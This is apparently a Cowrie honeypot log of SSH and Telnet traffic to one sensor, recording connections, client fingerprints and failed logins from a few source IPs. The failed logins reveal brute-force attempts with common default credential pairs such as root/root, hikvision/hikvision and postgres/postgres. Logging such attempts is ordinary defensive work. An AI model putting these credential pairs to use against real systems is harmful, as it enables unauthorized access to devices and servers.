{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:01.059027Z","src_ip":"103.172.78.219","session":"749532a23f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:01.581983Z","src_ip":"37.233.85.71","session":"6f480a24f765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.393817663192749,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:02.578934Z","src_ip":"176.65.139.121","session":"28ddce0fadae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":33732,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd0181077004","protocol":"telnet","message":"New connection: 176.65.139.121:33732 (159.203.135.109:23) [session: cd0181077004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:02.664746Z"}
{"eventid":"cowrie.session.closed","duration":49.051889181137085,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:07.330925Z","src_ip":"152.42.224.71","session":"ecacfe7c839b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:08.585337Z","src_ip":"176.65.139.121","session":"cd0181077004","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.145925521850586,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:12.810554Z","src_ip":"176.65.139.121","session":"cd0181077004","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":48222,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a52977576a1","protocol":"telnet","message":"New connection: 176.65.139.121:48222 (159.203.135.109:23) [session: 1a52977576a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:12.930486Z"}
{"eventid":"cowrie.session.closed","duration":3.4317188262939453,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:16.361876Z","src_ip":"176.65.139.121","session":"1a52977576a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":34374,"dst_ip":"159.203.135.109","dst_port":23,"session":"c95bae1d850a","protocol":"telnet","message":"New connection: 176.65.139.121:34374 (159.203.135.109:23) [session: c95bae1d850a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:16.454834Z"}
{"eventid":"cowrie.session.closed","duration":2.410064935684204,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:18.864760Z","src_ip":"176.65.139.121","session":"c95bae1d850a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":34376,"dst_ip":"159.203.135.109","dst_port":23,"session":"578c9e2ecd52","protocol":"telnet","message":"New connection: 176.65.139.121:34376 (159.203.135.109:23) [session: 578c9e2ecd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:18.943443Z"}
{"eventid":"cowrie.session.closed","duration":4.168094873428345,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:23.111415Z","src_ip":"176.65.139.121","session":"578c9e2ecd52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":34384,"dst_ip":"159.203.135.109","dst_port":23,"session":"62c0a767b8b0","protocol":"telnet","message":"New connection: 176.65.139.121:34384 (159.203.135.109:23) [session: 62c0a767b8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:23.191930Z"}
{"eventid":"cowrie.session.closed","duration":4.244563102722168,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:27.436378Z","src_ip":"176.65.139.121","session":"62c0a767b8b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":54570,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b1f5fcec713","protocol":"telnet","message":"New connection: 176.65.139.121:54570 (159.203.135.109:23) [session: 3b1f5fcec713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:27.539360Z"}
{"eventid":"cowrie.login.failed","username":"hikvision","password":"hikvision","message":"login attempt [hikvision/hikvision] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:31.935360Z","src_ip":"176.65.139.121","session":"3b1f5fcec713","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.39618182182312,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:32.935406Z","src_ip":"176.65.139.121","session":"3b1f5fcec713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":54592,"dst_ip":"159.203.135.109","dst_port":23,"session":"41364b44b020","protocol":"telnet","message":"New connection: 176.65.139.121:54592 (159.203.135.109:23) [session: 41364b44b020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:33.014500Z"}
{"eventid":"cowrie.session.closed","duration":4.0656445026397705,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:37.079828Z","src_ip":"176.65.139.121","session":"41364b44b020","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":50004,"dst_ip":"159.203.135.109","dst_port":23,"session":"b50034468bb2","protocol":"telnet","message":"New connection: 176.65.139.121:50004 (159.203.135.109:23) [session: b50034468bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:37.160846Z"}
{"eventid":"cowrie.session.closed","duration":2.9535224437713623,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:40.114329Z","src_ip":"176.65.139.121","session":"b50034468bb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":50020,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9ededc96848","protocol":"telnet","message":"New connection: 176.65.139.121:50020 (159.203.135.109:23) [session: d9ededc96848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:40.198772Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:46.369869Z","src_ip":"176.65.139.121","session":"d9ededc96848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.58469820022583,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:48.783359Z","src_ip":"176.65.139.121","session":"d9ededc96848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":49390,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4992969187e","protocol":"telnet","message":"New connection: 176.65.139.121:49390 (159.203.135.109:23) [session: e4992969187e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:48.861844Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:51.785646Z","src_ip":"176.65.139.121","session":"e4992969187e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.932133674621582,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:52.793868Z","src_ip":"176.65.139.121","session":"e4992969187e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":49404,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7c68c44bb5d","protocol":"telnet","message":"New connection: 176.65.139.121:49404 (159.203.135.109:23) [session: a7c68c44bb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:25:52.872698Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:00.727433Z","src_ip":"176.65.139.121","session":"a7c68c44bb5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.871975421905518,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:01.744500Z","src_ip":"176.65.139.121","session":"a7c68c44bb5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":42302,"dst_ip":"159.203.135.109","dst_port":23,"session":"e323b1079132","protocol":"telnet","message":"New connection: 176.65.139.121:42302 (159.203.135.109:23) [session: e323b1079132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:01.832178Z"}
{"eventid":"cowrie.session.closed","duration":5.7187659740448,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:07.550746Z","src_ip":"176.65.139.121","session":"e323b1079132","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":53140,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb277ca8c19d","protocol":"telnet","message":"New connection: 176.65.139.121:53140 (159.203.135.109:23) [session: cb277ca8c19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:07.629265Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58376,"dst_ip":"10.17.0.5","dst_port":23,"session":"2369b2709a31","protocol":"telnet","message":"New connection: 152.42.224.71:58376 (10.17.0.5:23) [session: 2369b2709a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:09.132625Z"}
{"eventid":"cowrie.session.closed","duration":2.4506239891052246,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:10.079786Z","src_ip":"176.65.139.121","session":"cb277ca8c19d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":53158,"dst_ip":"159.203.135.109","dst_port":23,"session":"be8ad3c97bfa","protocol":"telnet","message":"New connection: 176.65.139.121:53158 (159.203.135.109:23) [session: be8ad3c97bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:10.158197Z"}
{"eventid":"cowrie.session.closed","duration":2.4330387115478516,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:12.591101Z","src_ip":"176.65.139.121","session":"be8ad3c97bfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":53172,"dst_ip":"159.203.135.109","dst_port":23,"session":"447c597851ce","protocol":"telnet","message":"New connection: 176.65.139.121:53172 (159.203.135.109:23) [session: 447c597851ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:12.719651Z"}
{"eventid":"cowrie.session.closed","duration":2.3722381591796875,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:15.091741Z","src_ip":"176.65.139.121","session":"447c597851ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":53188,"dst_ip":"159.203.135.109","dst_port":23,"session":"9722f982d912","protocol":"telnet","message":"New connection: 176.65.139.121:53188 (159.203.135.109:23) [session: 9722f982d912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:15.170660Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":60730,"dst_ip":"159.203.135.109","dst_port":22,"session":"279ab46ab2f8","protocol":"ssh","message":"New connection: 109.237.96.109:60730 (159.203.135.109:22) [session: 279ab46ab2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:16.441545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:16.445866Z","src_ip":"109.237.96.109","session":"279ab46ab2f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:16.541233Z","src_ip":"109.237.96.109","session":"279ab46ab2f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"787898","message":"login attempt [root/787898] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:16.837946Z","src_ip":"109.237.96.109","session":"279ab46ab2f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.4324421882629395,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:17.602969Z","src_ip":"176.65.139.121","session":"9722f982d912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":42414,"dst_ip":"159.203.135.109","dst_port":23,"session":"41dc31b71899","protocol":"telnet","message":"New connection: 176.65.139.121:42414 (159.203.135.109:23) [session: 41dc31b71899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:17.754605Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:17.935217Z","src_ip":"109.237.96.109","session":"279ab46ab2f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:23.800404Z","src_ip":"176.65.139.121","session":"41dc31b71899","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.17201042175293,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:24.926471Z","src_ip":"176.65.139.121","session":"41dc31b71899","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":42434,"dst_ip":"159.203.135.109","dst_port":23,"session":"aef18ea4eb6e","protocol":"telnet","message":"New connection: 176.65.139.121:42434 (159.203.135.109:23) [session: aef18ea4eb6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:24.932534Z"}
{"eventid":"cowrie.session.closed","duration":2.383859395980835,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:27.316250Z","src_ip":"176.65.139.121","session":"aef18ea4eb6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":38414,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f275874d2c6","protocol":"telnet","message":"New connection: 176.65.139.121:38414 (159.203.135.109:23) [session: 4f275874d2c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:27.434606Z"}
{"eventid":"cowrie.session.closed","duration":3.791562795639038,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:31.226039Z","src_ip":"176.65.139.121","session":"4f275874d2c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":38434,"dst_ip":"159.203.135.109","dst_port":23,"session":"801ca912d582","protocol":"telnet","message":"New connection: 176.65.139.121:38434 (159.203.135.109:23) [session: 801ca912d582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:31.305439Z"}
{"eventid":"cowrie.session.closed","duration":3.4170703887939453,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:34.722427Z","src_ip":"176.65.139.121","session":"801ca912d582","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":38478,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aaf3bc9ea8e","protocol":"telnet","message":"New connection: 176.65.139.121:38478 (159.203.135.109:23) [session: 1aaf3bc9ea8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:34.801172Z"}
{"eventid":"cowrie.session.closed","duration":3.5809051990509033,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:38.381960Z","src_ip":"176.65.139.121","session":"1aaf3bc9ea8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":60018,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad811e941b9c","protocol":"telnet","message":"New connection: 176.65.139.121:60018 (159.203.135.109:23) [session: ad811e941b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:38.462794Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58750,"dst_ip":"10.17.0.5","dst_port":23,"session":"d08de559e651","protocol":"telnet","message":"New connection: 152.42.224.71:58750 (10.17.0.5:23) [session: d08de559e651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:38.578541Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58738,"dst_ip":"10.17.0.5","dst_port":23,"session":"342c4dc684e5","protocol":"telnet","message":"New connection: 152.42.224.71:58738 (10.17.0.5:23) [session: 342c4dc684e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:38.995973Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":41150,"dst_ip":"10.17.0.5","dst_port":22,"session":"a034d2c6d5ba","protocol":"ssh","message":"New connection: 147.45.197.250:41150 (10.17.0.5:22) [session: a034d2c6d5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:39.532473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:39.537041Z","src_ip":"147.45.197.250","session":"a034d2c6d5ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:39.633856Z","src_ip":"147.45.197.250","session":"a034d2c6d5ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hummer","message":"login attempt [root/hummer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:39.918633Z","src_ip":"147.45.197.250","session":"a034d2c6d5ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:41.013652Z","src_ip":"147.45.197.250","session":"a034d2c6d5ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:47.750401Z","src_ip":"176.65.139.121","session":"ad811e941b9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.613310098648071,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:50.075973Z","src_ip":"176.65.139.121","session":"ad811e941b9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":45234,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3358de11f90","protocol":"telnet","message":"New connection: 176.65.139.121:45234 (159.203.135.109:23) [session: c3358de11f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:50.165646Z"}
{"eventid":"cowrie.session.closed","duration":3.6837470531463623,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:53.849290Z","src_ip":"176.65.139.121","session":"c3358de11f90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":45268,"dst_ip":"159.203.135.109","dst_port":23,"session":"db975763663b","protocol":"telnet","message":"New connection: 176.65.139.121:45268 (159.203.135.109:23) [session: db975763663b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:53.945927Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":53480,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d62bccee567","protocol":"ssh","message":"New connection: 193.228.128.84:53480 (10.17.0.5:22) [session: 9d62bccee567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:54.271829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:26:54.276430Z","src_ip":"193.228.128.84","session":"9d62bccee567","protocol":"ssh"}
